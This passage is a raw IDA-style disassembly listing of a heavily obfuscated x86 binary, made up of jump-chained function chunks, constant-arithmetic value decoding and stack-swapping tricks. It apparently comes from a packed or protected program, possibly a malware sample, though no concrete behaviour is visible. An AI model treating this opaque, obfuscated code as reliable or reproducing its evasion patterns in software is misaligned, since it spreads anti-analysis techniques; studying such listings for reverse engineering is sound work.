; FUNCTION CHUNK AT 0043FC32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440103 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00440FC0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004410AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441C35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441FE8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442DD1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00443B0F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443DEB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444764 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00445692 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00446273 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004462B0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044647E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044675F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00447F80 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044863B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448DAB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004496CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449F74 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044AA8F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AD18 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D9BE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044DBE0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044E587 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044EC49 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044EF91 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004500D4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00450839 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00451717 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00452326 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00452F4E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453A57 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00453F05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453F42 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004547A4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00454A67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454B3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454BA6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00455FEC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00456F91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457E67 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00458788 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0045944A SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	50C6573h
		xchg	ebp, [esp+0]
		mov	eax, ebp

loc_441DE8:				; CODE XREF: dviuq5id:loc_44F16Ej
		jmp	loc_44675F
sub_441DDA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_441DED	proc near		; DATA XREF: sub_43D53C+1236Do

; FUNCTION CHUNK AT 0044F381 SIZE 00000005 BYTES

		add	ecx, 42C42DC9h
		xchg	ecx, [esp+0]
		jmp	loc_44F381
sub_441DED	endp

; ---------------------------------------------------------------------------
		push	eax
		jge	loc_44B815
		jmp	sub_448EFB
; ---------------------------------------------------------------------------
		mov	ds:off_41D014, eax
		lea	eax, sub_457798
		push	offset loc_44B04F
		jmp	locret_440476
; ---------------------------------------------------------------------------
		test	al, al
		jz	locret_439385
		jmp	loc_44A3ED

; =============== S U B	R O U T	I N E =======================================



sub_441E2A	proc near		; CODE XREF: sub_439FA1+7C2Bp
					; dviuq5id:004444DFj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044ACD1 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	ebx, [esp-4+arg_0]
		mov	ecx, ebx
		pop	ebx
		pop	eax
		pop	ebx
		jmp	loc_44ACD1
sub_441E2A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_441E3B:				; CODE XREF: dviuq5id:00451948j
		jle	loc_441AF9
		cmp	edx, esi
		jmp	loc_442024
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453642

loc_441E48:				; CODE XREF: sub_453642j
		call	sub_45295E
; END OF FUNCTION CHUNK	FOR sub_453642
; START	OF FUNCTION CHUNK FOR sub_4391AB

loc_441E4D:				; CODE XREF: sub_4391AB+21j
		jmp	loc_44B2F9
; END OF FUNCTION CHUNK	FOR sub_4391AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF1D

loc_441E52:				; CODE XREF: sub_43EF1D:loc_441808j
		jge	loc_43BB35
; END OF FUNCTION CHUNK	FOR sub_43EF1D
; START	OF FUNCTION CHUNK FOR sub_451F1E

loc_441E58:				; CODE XREF: sub_451F1E+5020j
		jmp	loc_4583D0
; END OF FUNCTION CHUNK	FOR sub_451F1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C46D

loc_441E5D:				; CODE XREF: sub_43C46D+1625Fj
		jmp	loc_44831E
; END OF FUNCTION CHUNK	FOR sub_43C46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB86

loc_441E62:				; CODE XREF: sub_44DB86-AE80j
		jmp	sub_455518
; END OF FUNCTION CHUNK	FOR sub_44DB86
; ---------------------------------------------------------------------------
		xchg	edx, [eax]
		jns	loc_43A647
		mov	ebx, 8DD87FAFh
		jmp	loc_447C47
; ---------------------------------------------------------------------------
		db 0ECh, 3Ah, 6Bh
dword_441E7C	dd 0			; DATA XREF: sub_455981-19359r
					; dviuq5id:loc_43DD5Ew	...
; ---------------------------------------------------------------------------

loc_441E80:				; CODE XREF: dviuq5id:0043EDD6j
		jmp	loc_450344
; ---------------------------------------------------------------------------

loc_441E85:				; CODE XREF: dviuq5id:0043A85Dj
		jmp	locret_439A25
; ---------------------------------------------------------------------------
		dw 0B288h
dword_441E8C	dd 77E805D8h		; DATA XREF: sub_459BBA-E731r
					; sub_459BBA-E18Aw ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C085

loc_441E90:				; CODE XREF: sub_44C085-8361j
		jmp	loc_441C71
; END OF FUNCTION CHUNK	FOR sub_44C085
; ---------------------------------------------------------------------------
		db 0F3h, 0D0h, 0BBh
; ---------------------------------------------------------------------------
		pushf
		fist	word ptr [ecx+6Ch]
; START	OF FUNCTION CHUNK FOR sub_449485

loc_441E9C:				; CODE XREF: sub_4527DB+10j
		jmp	loc_43CA2A
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_441EA1:				; CODE XREF: sub_443ECE+5E9Dj
		jmp	loc_44451B
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_441EA6:				; CODE XREF: sub_43FA59-62D5j
		jmp	loc_456E09
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		db 0F6h
dword_441EAC	dd 0CBBF38DCh		; DATA XREF: sub_43BB5D+12w
					; sub_44F51E-2698r
; ---------------------------------------------------------------------------

loc_441EB0:				; CODE XREF: dviuq5id:00448636j
		jmp	loc_44A9E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_441EB5:				; CODE XREF: sub_44B301-A07Fj
		jmp	loc_445760
; END OF FUNCTION CHUNK	FOR sub_44B301
; ---------------------------------------------------------------------------
		dw 586h
dword_441EBC	dd 169A77E6h		; DATA XREF: sub_4492F0:loc_450E8Br
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453D79

loc_441EC0:				; CODE XREF: sub_453D79-127Ej
		jmp	loc_43B10B
; END OF FUNCTION CHUNK	FOR sub_453D79
; ---------------------------------------------------------------------------

loc_441EC5:				; CODE XREF: dviuq5id:0043A960j
		jmp	loc_459999
; ---------------------------------------------------------------------------
		dw 0D5DCh
dword_441ECC	dd 0CBBF3D04h		; DATA XREF: dviuq5id:0043ED5Fw
					; sub_43FDFB+7r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44245C

loc_441ED0:				; CODE XREF: sub_44245C+Dj
		jmp	loc_4437D4
; END OF FUNCTION CHUNK	FOR sub_44245C
; ---------------------------------------------------------------------------
		db 0Ch,	0A7h, 0FEh
dword_441ED8	dd 0C59BDDF9h		; DATA XREF: sub_43F285-57A9r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456734

loc_441EDC:				; CODE XREF: sub_456734-147F6j
		jmp	loc_44BAE8
; END OF FUNCTION CHUNK	FOR sub_456734
; ---------------------------------------------------------------------------
		db 0C9h, 29h, 0F4h
dword_441EE4	dd 39B51BBFh		; DATA XREF: sub_44F23F-11289r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489F3

loc_441EE8:				; CODE XREF: sub_4489F3+AD22j
		jmp	loc_4522D1
; END OF FUNCTION CHUNK	FOR sub_4489F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F23F

loc_441EED:				; CODE XREF: sub_44F23F-1A0Cj
		jmp	loc_43DFB5
; END OF FUNCTION CHUNK	FOR sub_44F23F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_441EF2:				; CODE XREF: sub_43C2DA+6130j
		jb	loc_44FD6F
		or	esi, eax
		jmp	loc_453363
; END OF FUNCTION CHUNK	FOR sub_43C2DA

; =============== S U B	R O U T	I N E =======================================



sub_441EFF	proc near		; DATA XREF: sub_444906+Ao
		xor	eax, eax
sub_441EFF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44CA06

loc_441F01:				; CODE XREF: sub_44CA06:loc_43FAD5j
		mov	[ebp-5], al
		mov	al, [ebp-5]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44CA06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_441F0B:				; CODE XREF: sub_439C09+1BB18j
		jmp	loc_44A4AF
; END OF FUNCTION CHUNK	FOR sub_439C09

; =============== S U B	R O U T	I N E =======================================



sub_441F10	proc near		; DATA XREF: sub_451BE3-833Eo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E2DD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044132D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442BE4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444F40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004451F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450F6B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004534E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456C2C SIZE 0000000B BYTES

		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_448944
		or	eax, eax
		jnz	loc_44132D
		jmp	loc_444F40
sub_441F10	endp

; ---------------------------------------------------------------------------

loc_441F27:				; CODE XREF: dviuq5id:004549A6j
		rol	esi, 0Bh
; START	OF FUNCTION CHUNK FOR sub_456734

loc_441F2A:				; CODE XREF: dviuq5id:loc_446AD1j
					; sub_456734:loc_45498Ej
		add	ecx, 63303B1Ch
		sub	ecx, 0E8EE5FE3h
		add	ecx, 0F8FF3E88h
		mov	[ecx], eax
		jmp	loc_441EDC
; END OF FUNCTION CHUNK	FOR sub_456734
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_441F44:				; CODE XREF: sub_453BE2+55A9j
		jmp	loc_439672
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455981

loc_441F49:				; CODE XREF: sub_455981-4D28j
		jmp	nullsub_219
; END OF FUNCTION CHUNK	FOR sub_455981
; ---------------------------------------------------------------------------

loc_441F4E:				; CODE XREF: dviuq5id:0044B2A1j
		adc	edx, 6FF0081Bh
		jbe	loc_4421C3
		sub	esi, 0F75CDFEFh
		mov	edx, [ecx]
; START	OF FUNCTION CHUNK FOR sub_43DDAC

loc_441F62:				; CODE XREF: sub_43DDAC:loc_44B294j
		sub	eax, 10DCC708h
		rol	eax, 6
		jmp	loc_455A0D
; END OF FUNCTION CHUNK	FOR sub_43DDAC
; ---------------------------------------------------------------------------

loc_441F70:				; CODE XREF: dviuq5id:004492B2j
		adc	ebx, 0E854BD38h

; =============== S U B	R O U T	I N E =======================================



sub_441F76	proc near		; CODE XREF: sub_451EEC:loc_4417F9p

; FUNCTION CHUNK AT 0043A3C1 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00442A5F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004445DE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004448C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004448F0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446857 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449056 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044DBC6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044E59F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044ECFD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004528D5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00456A26 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456ACF SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004571C2 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		pop	edi
		call	sub_45861F

loc_441F80:				; CODE XREF: dviuq5id:0044D201j
		mov	edi, [eax]
		shr	ecx, 17h
		cdq
		mov	[edi], ebp
		jmp	loc_44DBC6
sub_441F76	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		adc	edi, 14FE5BCAh
		jmp	sub_4543D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456A43

loc_441F98:				; CODE XREF: sub_456A43-11DFj
		not	eax
		and	ebx, eax
		push	edx
		push	0E6D816DAh
		pop	edx
		or	edx, ds:4000F0h
		sub	edx, 47872C45h
		rol	edx, 12h
		jmp	loc_449998
; END OF FUNCTION CHUNK	FOR sub_456A43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_441FB7:				; CODE XREF: sub_44646F-8D1Aj
		jz	loc_44632B

loc_441FBD:				; CODE XREF: sub_4492F0+10A57j
		jmp	loc_45A28B
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453642

loc_441FC2:				; CODE XREF: sub_453642+Cj
		jmp	loc_457236
; END OF FUNCTION CHUNK	FOR sub_453642
; ---------------------------------------------------------------------------

loc_441FC7:				; CODE XREF: dviuq5id:004429BFj
		jmp	sub_441C84
; ---------------------------------------------------------------------------
		ror	ebx, 1Ah
		shr	edi, 19h
		test	edi, esi
		jmp	loc_453B56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_441FD9:				; CODE XREF: sub_450905:loc_4420BEj
		add	ebx, eax
		shl	ebx, 18h
		mov	ebp, 0CD51BEC2h
		jmp	loc_449816
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_441FE8:				; CODE XREF: sub_441DDA+4998j
		jnz	loc_458788

loc_441FEE:				; CODE XREF: sub_44C07B+635Aj
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
		jns	loc_44811F
		mov	eax, ecx
		mov	ecx, [eax]
		or	ecx, edx
		jmp	loc_458786
; ---------------------------------------------------------------------------

loc_442004:				; DATA XREF: dviuq5id:00450207o
		mov	eax, [eax+24h]
		call	sub_45889C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_519. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A1A8

loc_44200D:				; CODE XREF: sub_45A1A8+9j
		jmp	sub_44A8C4
; END OF FUNCTION CHUNK	FOR sub_45A1A8
; ---------------------------------------------------------------------------
		or	eax, ecx
		jmp	sub_446314
; ---------------------------------------------------------------------------

loc_442019:				; CODE XREF: dviuq5id:0043FD05j
		jnz	loc_4583B7
		jmp	loc_448AE8
; ---------------------------------------------------------------------------

loc_442024:				; CODE XREF: dviuq5id:00441E43j
		js	loc_448402
		add	ecx, 70A88212h
		jmp	loc_43EDC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4413F5

loc_442035:				; CODE XREF: sub_4413F5+D167j
		sub	edx, 9094152Dh

loc_44203B:				; CODE XREF: sub_4413F5:loc_457AB1j
		push	esi
		push	4F66E79h
		pop	esi
		or	esi, ds:4000F3h
		xor	esi, 1021F702h
		or	esi, 3590D633h
		add	esi, 886634E9h
		jmp	loc_45735E
; END OF FUNCTION CHUNK	FOR sub_4413F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE30

loc_44205F:				; CODE XREF: sub_43BE30:loc_4587D3j
		xchg	edi, [esp+0]
		jmp	sub_459194
; END OF FUNCTION CHUNK	FOR sub_43BE30
; ---------------------------------------------------------------------------

loc_442067:				; CODE XREF: dviuq5id:0043BA55j
		jz	loc_44AAB0
		jmp	loc_444EA2
; ---------------------------------------------------------------------------

loc_442072:				; CODE XREF: dviuq5id:004546EAj
		sub	ecx, 0EA361674h
		add	ecx, 0A589F7B5h
		xchg	ecx, [esp]
		jmp	loc_454E9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_442086:				; CODE XREF: sub_4525D0-1052Aj
		jz	loc_447CFD
		jmp	sub_45148F
; END OF FUNCTION CHUNK	FOR sub_4525D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_261. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_442092:				; CODE XREF: sub_4525D0+4243j
		pushf
		mov	ebp, edi
		adc	edi, ecx

loc_442097:				; CODE XREF: dviuq5id:0045A36Bj
		jmp	loc_449FC8
; ---------------------------------------------------------------------------

loc_44209C:				; CODE XREF: sub_4525D0:loc_43EFF3j
		cmp	dword ptr [ebp-4], 6
		jnz	loc_449FC8
		jmp	loc_442086
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448F69

loc_4420AB:				; CODE XREF: sub_448F69-B62Aj
					; dviuq5id:0044D4C4j
		push	offset loc_450B71
		jmp	loc_441410
; END OF FUNCTION CHUNK	FOR sub_448F69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4420B5:				; CODE XREF: sub_454094-17E29j
		xchg	ecx, [esp+8+var_8]
		jmp	loc_4420C8
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_4420BE:				; CODE XREF: sub_450905+48BCj
		jmp	loc_441FD9
; END OF FUNCTION CHUNK	FOR sub_450905
; ---------------------------------------------------------------------------

loc_4420C3:				; CODE XREF: dviuq5id:0044657Dj
		jmp	loc_457366
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_4420C8:				; CODE XREF: sub_454094-11FDCj
		call	sub_456F43
		push	0E506024h
		xchg	esi, [esp+0Ch+var_C]
		mov	edx, esi
		rol	esi, 0Dh
		jmp	loc_454D7B
; END OF FUNCTION CHUNK	FOR sub_454094

; =============== S U B	R O U T	I N E =======================================



sub_4420DF	proc near		; DATA XREF: sub_459588-FC4Ao

; FUNCTION CHUNK AT 00441223 SIZE 0000000B BYTES

		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43C2A3
		jmp	loc_441223
sub_4420DF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_4420F1:				; CODE XREF: sub_44646F+D38Bj
		popf
		jmp	loc_43CE05
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4436E3

loc_4420F7:				; CODE XREF: sub_4436E3+Dj
		pop	edx
		add	edx, 6B97D7A7h
		rol	edx, 0Ch
		and	edx, 7E882C94h
		add	edx, 9243E474h
		mov	[edx], eax
		jmp	loc_4489D2
; END OF FUNCTION CHUNK	FOR sub_4436E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_442114:				; CODE XREF: sub_445498-AD64j
					; dviuq5id:loc_457400j
		mov	eax, [ebp-0Ch]
		neg	eax
		call	sub_4536AC

loc_44211E:				; CODE XREF: sub_44CBA2-CFFAj
		push	offset loc_442420
		jmp	nullsub_61
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_442128:				; CODE XREF: sub_446B53+2674j
		rol	esi, 1Fh
		jmp	loc_450B44
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_442130:				; CODE XREF: sub_448424-3270j
					; dviuq5id:0045880Bj
		xor	edi, 0C4092BCDh

loc_442136:				; CODE XREF: sub_448424:loc_4451A3j
		or	esi, 0B2038C4Dh
		add	esi, 4F7B9EEBh
		add	esi, ebp
		call	sub_44F787

loc_442149:				; CODE XREF: dviuq5id:00457859j
		jmp	loc_44DCC3
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BD0B

loc_44214E:				; CODE XREF: sub_44BD0Bj
		xchg	ebp, [esp+8+var_8]
		mov	edx, ebp
		xchg	ebx, [esp+8+var_8]
		mov	ebp, ebx
		jmp	loc_43C917
; END OF FUNCTION CHUNK	FOR sub_44BD0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_44215D:				; CODE XREF: sub_44A94D-7446j
		ja	loc_444A95
		push	esi
		jmp	sub_44B2EA
; END OF FUNCTION CHUNK	FOR sub_44A94D
; ---------------------------------------------------------------------------

loc_442169:				; CODE XREF: dviuq5id:004533D8j
		add	ebx, 0FF034040h
		jmp	loc_43E17F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF1D

loc_442174:				; CODE XREF: sub_43EF1D+171F9j
		add	eax, ds:4000F9h
		sub	eax, 0A9D56E90h
		add	eax, 6058DA83h
		or	eax, 11192880h
		jmp	loc_4578CE
; END OF FUNCTION CHUNK	FOR sub_43EF1D
; ---------------------------------------------------------------------------
		mov	esi, [ebx]
		test	esi, edi
		jmp	loc_448F91
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		call	sub_44F3BF
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_4421A5:				; CODE XREF: sub_44EAC4+FEDj
		push	3A0C3842h
		sub	eax, edx
		jmp	loc_4466B1
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------

loc_4421B1:				; CODE XREF: dviuq5id:loc_455BA0j
		pop	ecx
		add	ecx, 0C1AE3E70h
		xor	ecx, 0D270C043h

loc_4421BE:				; CODE XREF: dviuq5id:00444D1Ej
		push	offset sub_448E86

loc_4421C3:				; CODE XREF: dviuq5id:00441F54j
		jmp	loc_451914
; ---------------------------------------------------------------------------

loc_4421C8:				; CODE XREF: dviuq5id:00449E22j
		jl	loc_4514A5
; START	OF FUNCTION CHUNK FOR sub_44DC3D

loc_4421CE:				; CODE XREF: sub_44DC3D+20j
		jmp	loc_447DF6
; END OF FUNCTION CHUNK	FOR sub_44DC3D
; ---------------------------------------------------------------------------
		test	ebx, 1A12E8D2h
		jmp	loc_45149C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459BC0

loc_4421DE:				; CODE XREF: sub_459BC0-1653Bj
		or	ecx, ebx
		jmp	loc_43D829
; END OF FUNCTION CHUNK	FOR sub_459BC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_4421E5:				; CODE XREF: sub_454228:loc_450DBBj
		or	edi, 0A2180B3Ah

loc_4421EB:				; CODE XREF: dviuq5id:loc_447E1Cj
		test	edi, 100000h
		jmp	loc_44651A
; END OF FUNCTION CHUNK	FOR sub_454228
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_268. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440729

loc_4421F7:				; CODE XREF: sub_440729+Cj
		jmp	loc_44E986
; END OF FUNCTION CHUNK	FOR sub_440729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45031E

loc_4421FC:				; CODE XREF: sub_45031E-3C3Cj
		or	eax, 3BD4FBB4h
		rol	eax, 1Dh
		add	eax, 20C8F6E8h
		xchg	eax, [esp+4+var_4]
		jmp	sub_445A59
; END OF FUNCTION CHUNK	FOR sub_45031E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E10E

loc_442213:				; CODE XREF: sub_43E10E:loc_4451EDj
		mov	edx, [ebp-18h]
; END OF FUNCTION CHUNK	FOR sub_43E10E
; START	OF FUNCTION CHUNK FOR sub_443AC1

loc_442216:				; CODE XREF: sub_443AC1+EEFDj
		mov	[edx], eax
; END OF FUNCTION CHUNK	FOR sub_443AC1
; START	OF FUNCTION CHUNK FOR sub_4418CF

loc_442218:				; CODE XREF: sub_4418CF:loc_43A0D0j
					; sub_43B9A5+6384j ...
		add	dword ptr [ebp-18h], 4
		push	offset loc_43B3BD
		jmp	loc_43914E
; END OF FUNCTION CHUNK	FOR sub_4418CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B660

loc_442226:				; CODE XREF: sub_43B660+AB57j
		sub	eax, 75D479ECh
		rol	eax, 7
		or	eax, 0FDD281CEh
		xor	eax, 2EA14B82h
		call	sub_453642
		jmp	loc_452C81
; END OF FUNCTION CHUNK	FOR sub_43B660

; =============== S U B	R O U T	I N E =======================================



sub_442245	proc near		; DATA XREF: sub_44E2FA:loc_4592EFo
		add	ebx, 6D00A3D6h
		mov	[ebx], eax

loc_44224D:				; CODE XREF: dviuq5id:loc_44EDEAj
		pop	ebx
sub_442245	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_449222

loc_44224E:				; CODE XREF: sub_44B2EA:loc_43B32Aj
					; sub_449222-B0F5j ...
		push	edi
		pushf
		push	6DDD321Bh
		pop	edi
		xor	edi, 308D61Bh
		jmp	loc_452D73
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B24C

loc_442261:				; CODE XREF: sub_43B24C+8770j
		mov	ebx, 9CD7D4A1h
		xchg	edx, [ecx]
		pop	ebp
		jmp	loc_44BF2D
; END OF FUNCTION CHUNK	FOR sub_43B24C

; =============== S U B	R O U T	I N E =======================================



sub_44226E	proc near		; CODE XREF: dviuq5id:0043FDC8j
					; sub_44EAC4-4C62p

; FUNCTION CHUNK AT 00444F96 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00451B0B SIZE 0000000D BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	ds:dword_457D5C, eax
		call	sub_45000B
		dec	eax

loc_44227D:				; CODE XREF: sub_447C0B:loc_4490E0j
		mov	edx, ds:dword_457D5C
		mov	[edx], eax
		jmp	loc_444F96
sub_44226E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F9E7

loc_44228A:				; CODE XREF: sub_43F9E7:loc_444DE5j
		push	offset sub_443F44
		jmp	nullsub_222
; END OF FUNCTION CHUNK	FOR sub_43F9E7

; =============== S U B	R O U T	I N E =======================================



sub_442294	proc near		; CODE XREF: dviuq5id:0043A7D1p
					; dviuq5id:0043CF53j
		xchg	eax, [esp+0]
		pop	eax
		pop	ecx
		pop	ebp
		retn
sub_442294	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44229B:				; CODE XREF: dviuq5id:0044E9D0j
		jmp	loc_4405AD
; ---------------------------------------------------------------------------
		dd 0FF8910E9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_301. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440638

loc_4422A6:				; CODE XREF: sub_440638+13005j
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_440638

; =============== S U B	R O U T	I N E =======================================



sub_4422AB	proc near		; CODE XREF: sub_4403E5+Bp
					; dviuq5id:004594FEj
		xchg	edi, [esp+0]
		pop	edi
		jnz	loc_450EAF
		push	offset loc_448D24
